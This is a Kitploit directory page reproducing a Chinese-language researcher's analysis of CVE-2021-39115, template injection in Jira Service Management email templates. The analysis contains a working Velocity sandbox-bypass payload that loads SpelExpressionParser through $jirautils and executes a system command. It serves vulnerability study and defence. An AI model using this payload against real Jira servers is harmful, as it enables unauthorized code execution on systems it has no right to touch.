Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-39115 — 电子邮件模板中的模板注入导致Jira Service Management Server上的代码执行 | Kitploit
工具/GitHubGitHub/petrusviet/cve-2021-39115
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubpetrusviet/cve-2021-39115

CVE-2021-39115

电子邮件模板中的模板注入导致Jira Service Management Server上的代码执行

查看仓库
481215年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-39115

邮件模板注入导致Jira Service Management Server上的代码执行

I) 构建

我已在此处指导了部署+调试 在此,大家可以参考。

II) 分析

在 描述 中,此CVE已明确指出漏洞位于Email Template功能。拥有管理员权限的用户可以随意修改通知邮件的模板。此漏洞需要管理员权限才能利用,因此即使有RCE也不严重,但我仍决定写这篇博客以娱乐为目的 :) 正在研究SSTI的朋友可以参考。

  • 开始工作,我部署了atlassian-jira-servicedesk-4.17.0-m0006-standalone版本,并尝试diff其与4.18.0版本的区别: image

看到这一堆时,……显然我不会一个一个地读文件,我很懒。开个玩笑,实际上除了安全修复之外,各版本还有功能升级和变化。全部diff然后坐下来阅读非常耗时。当然,在某些情况下我必须全部diff然后阅读,但在这个案例中我不会那样做 =)))

  • 如上所述,管理员有权更改所有通知邮件的模板。因此,第一步我需要知道在解析通知邮件时有哪些上下文?这在尝试利用SSTI漏洞(使用沙箱)时尤为重要。最有效的方法就是调试进入邮件模板解析代码,查看上下文变量的值。
  • 当然会有多种不同的通知(注册、更改密码等),每种使用不同的端点。我使用SendBulkMail功能来创建通知邮件。关于此端点的调用栈,我就不详细说明了,因为它与 CVE-2019-11581 中的调用栈类似。

在SimpleNote.render函数中,我可以查看上下文变量,看看可以利用什么:

根据我个人的经验,我会注意检查包含以下关键词的上下文/类:Utils、Manager、service等。我注意到上下文$jirautils(类com.atlassian.jira.util.JiraUtils)包含方法public static <T> T loadComponent(String className, Class<?> callingClass):

我四处查找文档了解其功能和使用方式,因为输入是String className,输出是一个类,所以很可能该方法可以随意加载类:

  • 如文档所述,此函数用于加载类 :) 我立即开始看该方法是否真的能随意加载类:

我进入 System -> Email templates 并将当前模板文件下载到本地

有很多不同的模板,每个用于不同类型的通知,所以我找一个可以用于多种通知的文件,比如 email\html\includes\header.vm

上传修改后的模板文件后,使用 SendBulkMail 发送通知邮件。我在邮件中看到了这样的输出:

大概意思是该类没有构造函数或不被接受。我尝试使用另一个有构造函数(无参构造函数)的类:

结果如预期,我成功获取了类:

  • 这样我们几乎可以随意加载类了,还不错。但如何实现RCE呢?Jira使用Velocity模板,并有相当完善的沙箱,包含黑名单包和黑名单类(黑名单类可以拦截所有从黑名单类继承的类)。使用网络上公开的类几乎是不可能的。至此,我必须diff漏洞版本和补丁版本,看看它们有何不同。当然我不会全部diff,而只diff Velocity的配置文件 (\atlassian-jira\WEB-INF\classes\velocity.properties) 看看是否有更新:

我们看到新增了3个黑名单类:

root@kitploit:~
org.springframework.expression.spel.standard.SpelExpressionParser,\
com.atlassian.jira.component.ComponentAccessor,\
com.atlassian.jira.plugin.ComponentClassManager

逐个检查这些类时,我注意到SpelExpressionParser类有方法public SpelExpression parseRaw(String expressionString),谷歌搜索用法后大概可以这样用:

root@kitploit:~
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')")

如大家所见,parseRaw方法返回一个org.springframework.expression.spel.standard.SpelExpression类的对象,并未实际解析表达式。我进入SpelExpression类,看到有getValue方法:

root@kitploit:~
@Nullable
    public Object getValue() throws EvaluationException {
        CompiledExpression compiledAst = this.compiledAst;
        if (compiledAst != null) {
            try {
                EvaluationContext context = this.getEvaluationContext();
                return compiledAst.getValue(context.getRootObject().getValue(), context);
            } catch (Throwable var4) {
                if (this.configuration.getCompilerMode() != SpelCompilerMode.MIXED) {
                    throw new SpelEvaluationException(var4, SpelMessage.EXCEPTION_RUNNING_COMPILED_EXPRESSION, new Object[0]);
                }
            }

            this.compiledAst = null;
            this.interpretedCount.set(0);
        }

        ExpressionState expressionState = new ExpressionState(this.getEvaluationContext(), this.configuration);
        Object result = this.ast.getValue(expressionState);
        this.checkCompile(expressionState);
        return result;
    }

看输入/输出,作为一个靠直觉的人,我决定直接尝试,不再看文档:

root@kitploit:~
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()

结果:

III) 结论

至此我们已能绕过Velocity的沙箱实现RCE。但站在发现此漏洞的作者的角度,还有许多我无法解释的问题:

  • 为什么会有3个类被加入黑名单?

当我研究这3个类时,发现它们可以形成一个链:

root@kitploit:~
ComponentAccessor.getComponentClassManager() 
  => ComponentClassManager.newInstance(String className) (此类可以随意加载类)
        => SpelExpressionParser

如果作者像我一样使用$jirautils,则不需要另外两个类。但如果作者不使用$jirautils,如何获得ComponentAccessor呢?

  • 作者如何发现上述3个类?这是我非常关心并最想知道的,但可能只有直接联系作者才能知道。可惜我不知道此漏洞的作者是谁。

IV) 继续绕过补丁

下载工具